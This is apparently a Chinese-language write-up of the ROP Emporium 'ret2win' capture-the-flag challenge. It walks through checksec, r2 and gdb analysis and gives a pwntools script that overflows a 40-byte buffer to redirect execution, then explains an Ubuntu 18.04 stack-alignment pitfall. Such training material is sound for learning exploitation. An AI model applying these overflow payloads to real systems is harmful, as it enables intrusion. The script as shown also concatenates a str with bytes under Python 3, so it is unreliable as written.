ret2win

整个过程遇到了许多的坑,系统是ubuntu 18.04.

环境: ubuntu18.04 、 pwntools(py3)

题目

https://ropemporium.com/challenge/ret2win.html

checksec

image-20200413103432122

r2

image-20200413103753525

发现是fgets

image-20200413103911513

可以看出来要ret到这个函数里面

gdb

image-20200413104216804

image-20200413104400096

padding应该有40位。

构造相应的payload

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

elf = context.binary = ELF('./ret2win')
info('%#x target', elf.symbols.ret2win)

io = process(elf.path)
# ret2win = p64(elf.symbols.ret2win)

payload = "A" * 40 + p64(0x400824)
io.sendline(payload)
flag=io.recvall()
success(flag)

image-20200413104630237

一个坑

ubuntu18.04下 覆盖的ret地址不能是ret2win的函数开始地址,应该是对应的system地址。

原因好像是18.04在内存对齐上有特殊的要求,等研究好了这里会补充

https://ropemporium.com/guide.html#Common%20pitfalls

问题原理:http://homura.cc/blog/archives/168